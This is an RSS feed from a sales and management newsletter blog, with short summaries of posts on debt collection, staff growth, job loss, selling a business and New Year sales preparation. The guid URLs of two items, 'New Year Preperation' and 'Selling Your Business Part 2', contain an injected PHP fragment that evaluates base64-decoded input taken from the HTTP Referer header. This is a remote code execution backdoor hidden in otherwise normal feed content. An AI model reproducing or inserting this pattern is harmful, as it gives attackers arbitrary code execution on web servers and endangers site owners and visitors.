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	<title>Interpersonal Business &#187; Management Rewards</title>
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	<link>http://www.interpersonalbiz.com</link>
	<description>A Sales, Marketing and Management Letter by Keenan Longcor</description>
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		<title>“FUNDAMENTALS OF COLLECTION” Vol. LXVI</title>
		<link>http://www.interpersonalbiz.com/2010/06/%e2%80%9cfundamentals-of-collection%e2%80%9d-vol-lxvi/</link>
		<comments>http://www.interpersonalbiz.com/2010/06/%e2%80%9cfundamentals-of-collection%e2%80%9d-vol-lxvi/#comments</comments>
		<pubDate>Tue, 15 Jun 2010 23:54:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Collection Strategies]]></category>
		<category><![CDATA[Management Rewards]]></category>
		<category><![CDATA[Management Strategies]]></category>
		<category><![CDATA[Collection]]></category>
		<category><![CDATA[Commitment]]></category>
		<category><![CDATA[Receivables]]></category>
		<category><![CDATA[Strategies]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/?p=132</guid>
		<description><![CDATA[In business there is an assumed mutual commitment:  If I deliver, you will pay.  This applies both to customers who do not pay their bills and manufacturers who do not pay commissions due their sales agencies.  Be specific in your collection conversations, take notes, remain sincere, but hold the other party accountable.  Basically, anyone who fails to pay for goods or services delivered in good faith has “your money in their pocket!”]]></description>
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		<slash:comments>0</slash:comments>
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		<item>
		<title>“MANAGEMENT AND PERSONAL GROWTH” Vol. LXIV</title>
		<link>http://www.interpersonalbiz.com/2010/05/%e2%80%9cmanagement-and-personal-growth%e2%80%9d-vol-lxiv/</link>
		<comments>http://www.interpersonalbiz.com/2010/05/%e2%80%9cmanagement-and-personal-growth%e2%80%9d-vol-lxiv/#comments</comments>
		<pubDate>Sat, 15 May 2010 23:51:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Management Rewards]]></category>
		<category><![CDATA[Management Strategies]]></category>
		<category><![CDATA[Sales Staff]]></category>
		<category><![CDATA[Advancement]]></category>
		<category><![CDATA[Objectives]]></category>
		<category><![CDATA[Personal Growth]]></category>
		<category><![CDATA[Strengths]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/?p=120</guid>
		<description><![CDATA[Can management expect continued personal growth from their staff?  Other professions i.e., doctors, attorneys expect it, why shouldn’t we?  Begin by explaining to your staff that you/we deserve more!  Consider an educational investment in your staff.  What are your and their one to five year objectives?  All members must define their road map.]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>“UNEXPECTEDLY LOSING YOUR JOB” Vol. LXIII</title>
		<link>http://www.interpersonalbiz.com/2010/05/%e2%80%9cunexpectedly-losing-your-job%e2%80%9d-vol-lxiii/</link>
		<comments>http://www.interpersonalbiz.com/2010/05/%e2%80%9cunexpectedly-losing-your-job%e2%80%9d-vol-lxiii/#comments</comments>
		<pubDate>Sat, 01 May 2010 23:50:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Loss of Job]]></category>
		<category><![CDATA[Management Rewards]]></category>
		<category><![CDATA[Management Strategies]]></category>
		<category><![CDATA[Advice]]></category>
		<category><![CDATA[Blame]]></category>
		<category><![CDATA[Jobless]]></category>
		<category><![CDATA[Phases]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/?p=116</guid>
		<description><![CDATA[Using a friend’s loss-of-job experience – he was a casualty of management’s jealousy over his success while the corporation as a whole was failing - the feelings, anxieties, and path to a successful and fulfilling resolution are discussed in three phases.  Phase One’s most devastating emotion is “finding blame,” because it wastes creative potential in finding a solution to the problem.  Phase Two involves getting past thinking of our employment as how we are defined by society, then having confidence in “our own advice.”  Phase Three comes in accepting reality, then rebuilding by charting the future and sticking to the game plan.]]></description>
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		<slash:comments>0</slash:comments>
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		<item>
		<title>“FOLLOW UP AND FOLLOW THROUGH” Vol. LXI</title>
		<link>http://www.interpersonalbiz.com/2010/04/%e2%80%9cfollow-up-and-follow-through%e2%80%9d-vol-lxi/</link>
		<comments>http://www.interpersonalbiz.com/2010/04/%e2%80%9cfollow-up-and-follow-through%e2%80%9d-vol-lxi/#comments</comments>
		<pubDate>Thu, 01 Apr 2010 23:49:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Management Rewards]]></category>
		<category><![CDATA[Management Strategies]]></category>
		<category><![CDATA[Commitment]]></category>
		<category><![CDATA[Excuses]]></category>
		<category><![CDATA[Expectations]]></category>
		<category><![CDATA[Performance]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/?p=107</guid>
		<description><![CDATA[This fundamental separates “the haves” from the “have-nots.” Have we lost the value of the handshake and face value relationships in American Business?  Excuses of any kind are a manipulative approach to poor performance.  As managers, we must state very clear expectations.  And yes, we must hold others fully accountable!]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>”WHEN IS IT TIME TO SELL YOUR BUSINESS?” Vol. LIX</title>
		<link>http://www.interpersonalbiz.com/2010/03/%e2%80%9dwhen-is-it-time-to-sell-your-business%e2%80%9d-vol-lix/</link>
		<comments>http://www.interpersonalbiz.com/2010/03/%e2%80%9dwhen-is-it-time-to-sell-your-business%e2%80%9d-vol-lix/#comments</comments>
		<pubDate>Mon, 01 Mar 2010 17:55:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Management Rewards]]></category>
		<category><![CDATA[Management Strategies]]></category>
		<category><![CDATA[Assets]]></category>
		<category><![CDATA[Priorities]]></category>
		<category><![CDATA[Sales Priorities]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/?p=92</guid>
		<description><![CDATA[This is an emotional and very personal decision.  Wait until it becomes obvious.  While financial aspects are one consideration, they should never be the only one.  Physical and emotional fitness often play a much more significant role.  If fulfillment and personal satisfaction are missing, you deserve to find it!  Create your plans and agenda for future.  At all costs, protect the current and former heritage of your company.]]></description>
		<wfw:commentRss>http://www.interpersonalbiz.com/2010/03/%e2%80%9dwhen-is-it-time-to-sell-your-business%e2%80%9d-vol-lix/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>“THE BALANCE OF POWER” Vol. LVII</title>
		<link>http://www.interpersonalbiz.com/2010/02/%e2%80%9cthe-balance-of-power%e2%80%9d-vol-lvii/</link>
		<comments>http://www.interpersonalbiz.com/2010/02/%e2%80%9cthe-balance-of-power%e2%80%9d-vol-lvii/#comments</comments>
		<pubDate>Mon, 01 Feb 2010 17:43:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Management Rewards]]></category>
		<category><![CDATA[Management Strategies]]></category>
		<category><![CDATA[Sales Management Abundancy]]></category>
		<category><![CDATA[Accountability]]></category>
		<category><![CDATA[Delegation]]></category>
		<category><![CDATA[Management]]></category>
		<category><![CDATA[Relationships]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/?p=74</guid>
		<description><![CDATA[The manager-managee relationship and balance of power has significantly evolved in recent years.  We have often asked those we manage to begin to “think like a manager.”  The old school of “management by dictatorship” will only serve to limit the fundamental quality of your staff.  We understand the need to nurture and delegate to our staff, but are we willing to relinquish power in the process? ]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>“MANAGERS MUST CHANGE WITH THE TIMES” Vol. LVI</title>
		<link>http://www.interpersonalbiz.com/2010/01/%e2%80%9cmanagers-must-change-with-the-times%e2%80%9d-vol-lvi/</link>
		<comments>http://www.interpersonalbiz.com/2010/01/%e2%80%9cmanagers-must-change-with-the-times%e2%80%9d-vol-lvi/#comments</comments>
		<pubDate>Fri, 15 Jan 2010 17:42:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Management Rewards]]></category>
		<category><![CDATA[Management Strategies]]></category>
		<category><![CDATA[Change]]></category>
		<category><![CDATA[Management]]></category>
		<category><![CDATA[Polices]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/?p=68</guid>
		<description><![CDATA[Remember how perceptions carry over between our grade school and high school years?  The new century requires us to be willing to make changes in our style and effectiveness.  The world, let alone technology, is more than willing to pass us by.  Are you “old school” and irrelevant, or have you been willing to stay up with the times?  Key staff members can provide an effective voice for change.  ]]></description>
		<wfw:commentRss>http://www.interpersonalbiz.com/2010/01/%e2%80%9cmanagers-must-change-with-the-times%e2%80%9d-vol-lvi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>“A MANAGER’S GIFT TO SELF”  Vol. LV</title>
		<link>http://www.interpersonalbiz.com/2009/12/%e2%80%9ca-manager%e2%80%99s-gift-to-self%e2%80%9d-vol-lv/</link>
		<comments>http://www.interpersonalbiz.com/2009/12/%e2%80%9ca-manager%e2%80%99s-gift-to-self%e2%80%9d-vol-lv/#comments</comments>
		<pubDate>Thu, 31 Dec 2009 17:32:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Management Rewards]]></category>
		<category><![CDATA[Management Strategies]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/?p=64</guid>
		<description><![CDATA[First and foremost, make time for yourself.  With the advent of technology, we can all get caught up in its “web.”  Reflect on the super manager of ten years ago and the price that was paid.  The “opportunity junkie” can never find fulfillment.  Anyone worth managing is worth protecting, yourself included!]]></description>
		<wfw:commentRss>http://www.interpersonalbiz.com/2009/12/%e2%80%9ca-manager%e2%80%99s-gift-to-self%e2%80%9d-vol-lv/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
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		<item>
		<title>“NEW YEAR PREPERATION,” VOL. LIII</title>
		<link>http://www.interpersonalbiz.com/2009/12/%e2%80%9cnew-year-preperation%e2%80%9d-vol-liii/</link>
		<comments>http://www.interpersonalbiz.com/2009/12/%e2%80%9cnew-year-preperation%e2%80%9d-vol-liii/#comments</comments>
		<pubDate>Tue, 01 Dec 2009 17:26:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Management Rewards]]></category>
		<category><![CDATA[Management Strategies]]></category>
		<category><![CDATA[Sales Management Abundancy]]></category>
		<category><![CDATA[Preparation]]></category>
		<category><![CDATA[Productivity]]></category>
		<category><![CDATA[Sales]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/2009/12/01/%e2%80%9cnew-year-preperation%e2%80%9d-vol-liii/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[The New Year can often bring a loss of rhythm as productivity in the preceding weeks falls to its lowest level of the year.  Preparation is your best defense to protect your rhythm.  Understand and become familiar with your manufacturers’ new introductions.  Focus on your responsibility of selling your best!  Take greater control of each sale.   Become an industry “expert,” with information on products other than your own.  Always come prepared!]]></description>
		<wfw:commentRss>http://www.interpersonalbiz.com/2009/12/%e2%80%9cnew-year-preperation%e2%80%9d-vol-liii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>“SELLING YOUR BUSINESS PART 2” Vol. LII</title>
		<link>http://www.interpersonalbiz.com/2009/11/%e2%80%9cselling-your-business-part-2%e2%80%9d-vol-lii/</link>
		<comments>http://www.interpersonalbiz.com/2009/11/%e2%80%9cselling-your-business-part-2%e2%80%9d-vol-lii/#comments</comments>
		<pubDate>Sun, 15 Nov 2009 17:25:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Management Rewards]]></category>
		<category><![CDATA[Management Strategies]]></category>
		<category><![CDATA[Manager]]></category>
		<category><![CDATA[Selling Business]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/2009/11/15/%e2%80%9cselling-your-business-part-2%e2%80%9d-vol-lii/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[Without question, the final announcement and its response can be the single most unexpected aspect of the sale.  In my case, the support and encouragement were apparent.  Have your “ducks in a row;” a well thought out and detailed announcement is essential.  A qualified leader and strong voice is needed for the continued success of the organization. ]]></description>
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